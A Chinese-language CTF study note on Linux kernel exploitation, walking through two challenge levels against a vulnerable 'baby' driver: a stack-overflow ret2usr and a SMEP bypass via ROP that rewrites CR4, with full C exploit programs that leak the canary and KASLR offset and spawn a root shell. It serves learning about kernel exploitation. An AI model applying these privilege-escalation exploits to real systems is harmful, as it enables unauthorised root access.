【Pwn 笔记】Linux Kernel 总结 -- Kernel-ROP

Kernel 的调试真的是 tttttt 难了

ret2text

level 1

Kernel 的入门题,一个栈溢出程序,文件保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

startvm.sh 文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd rootfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null

我们修改启动脚本,在后面加上一个 -s 用以调试

rcS 文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

打开程序查看主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __usercall ioctl@<rax>(__int64 a1@<rbp>, __int64 command@<rsi>, __int64 a3@<rdi>)
{
__int64 v3; // rdx
__int64 v5; // [rsp-88h] [rbp-88h]
__int64 v6; // [rsp-8h] [rbp-8h]

_fentry__(a3, command);
if ( command != 0x6001 )
return 0LL;
v6 = a1;
return copy_from_user(&v5, v3, 0x100LL);
}

可以看到这里有一个栈溢出漏洞,我们可以向内核写入 0x88 个垃圾数据,最后一位覆盖为用于我们写的 templine 的函数地址

先要用 save_status 函数保存用户态的寄存器数据,在内核态返回到用户态的时候,会用到最后用户态的寄存器数据

templine 函数的意思是先在内核态调用 prepare_kernel_cred 函数更改里面的用户为 root 用户,然后再返回用户态

因为是 64 的程序,要写 swapgs 和 iretq,如果是 32 位的程序,写一个 iret 就够了,用于中断内核态返回用户态

返回到提权函数即可 以 root 权限启动 shell

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;

void shell(){
system("/bin/sh");
}

void templine(){
commit_creds(prepare_kernel_cred(0));
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}

void save_status(){
asm(
"mov %%cs, %0;"
"mov %%ss,%1;"
"mov %%rsp,%3;"
"pushfq;"
"popq %2;"
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
:
: "memory"
);
tf.rsp -= 0x1000;
tf.rip = &shell;
}


int main(){
save_status();
uint64_t temp[0x100];
int driver_fd = open("/dev/baby", O_RDONLY);
if(driver_fd < 0){
err(2, "open failed");
}
temp[17] = &templine;
ioctl(driver_fd, 0x6001, &temp);
return 0;
}

bypass smep

level2

文件保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

startvm.sh 文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64,smep,smap 2>/dev/null

rcS 文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

在 root 权限下测得程序不开 kaslr 的基地址为 0xffffffffc0002000

查看程序主要函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__int64 __usercall ioctl@<rax>(__int64 a1@<rbp>, int a2@<esi>)
{
__int64 v2; // rdx
__int64 v4; // [rsp-90h] [rbp-90h]
unsigned __int64 v5; // [rsp-10h] [rbp-10h]
__int64 v6; // [rsp-8h] [rbp-8h]

_fentry__();
v6 = a1;
v5 = __readgsqword(0x28u);
if ( a2 == 0x6001 )
return copy_from_user(&v4, v2, 512LL);
if ( a2 == 0x6002 )
return copy_to_user(v2, &v4, 512LL);
return 0LL;
}

可以看到 copy_from_user 函数存在栈溢出,我们可以依靠这个栈溢出

先写一个 for 循环依次显示每个下标所对应的数值,以此泄露 canary 和栈地址

先泄露不开 kaslr 的栈地址,然后写入到 poc 里,再泄露开 kaslr 的栈地址,与它做减法就能得到偏移

然后从 vmlinux 中提取 rop 链,我们要绕过 smep 需要把 cr4 寄存器的第 20 位改为 0 ,一般修改为 0x6f0

先提取pop rdi ; ret,将 0x6f0 放入 rdi 中,之后再利用mov cr4, rdi ; pop rbp ; ret修改 cr4 寄存器即可

最后返回到 templine 函数获得 root 用户的权限再回到用户态,依靠之前 save_status 设置的寄存器状态跳转到 shell 函数提权

记得 commit_creds 和 prepare_kernel_cred 也是要加上偏移的!!!

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;

void shell(){
system("/bin/sh");
}

void templine(){
commit_creds(prepare_kernel_cred(0));
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}

void save_status(){
asm(
"mov %%cs, %0;"
"mov %%ss,%1;"
"mov %%rsp,%3;"
"pushfq;"
"popq %2;"
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
:
: "memory"
);
tf.rsp -= 0x1000;
tf.rip = &shell;
}


int main(){
save_status();
uint64_t temp[0x200];
int driver_fd = open("/dev/baby", O_RDONLY);
if(driver_fd < 0){
err(2, "open failed");
}
ioctl(driver_fd, 0x6002, &temp);
int i;
for(i = 0; i < 0x100; ++i){
printf("[0x%03x] %p\n", i, temp[i]);
}
uint64_t stack_no_kaslr = 0xffffffff8129b078;
uint64_t stackbase = temp[0x009] - stack_no_kaslr;
uint64_t iCanary = temp[0x00d];
uint64_t rop_mov_cr4_rdi = stackbase + 0xffffffff81020300;
uint64_t rop_pop_rdi_ret = stackbase + 0xffffffff8100631d;
commit_creds += stackbase;
prepare_kernel_cred += stackbase;
printf("[+]stack_no_kaslr = %p\n", stack_no_kaslr);
printf("[+]iCanary = %p\n", iCanary);
printf("[+]rop_pop_rdi_ret = %p\n", rop_pop_rdi_ret);
printf("[+]rop_mov_cr4_rdi = %p\n", rop_mov_cr4_rdi);
printf("[+]commit_creds = %p\n", commit_creds);
printf("[+]prepare_kernel_cred = %p\n", prepare_kernel_cred);
i = 0x10;
temp[i++] = iCanary;
i++;
temp[i++] = rop_pop_rdi_ret;
temp[i++] = 0x6f0;
temp[i++] = rop_mov_cr4_rdi;
i++;
temp[i++] = &templine;
ioctl(driver_fd, 0x6001, &temp);
return 0;
}
文章目录
  1. 1. ret2text
    1. 1.1. level 1
  2. 2. bypass smep
    1. 2.1. level2
|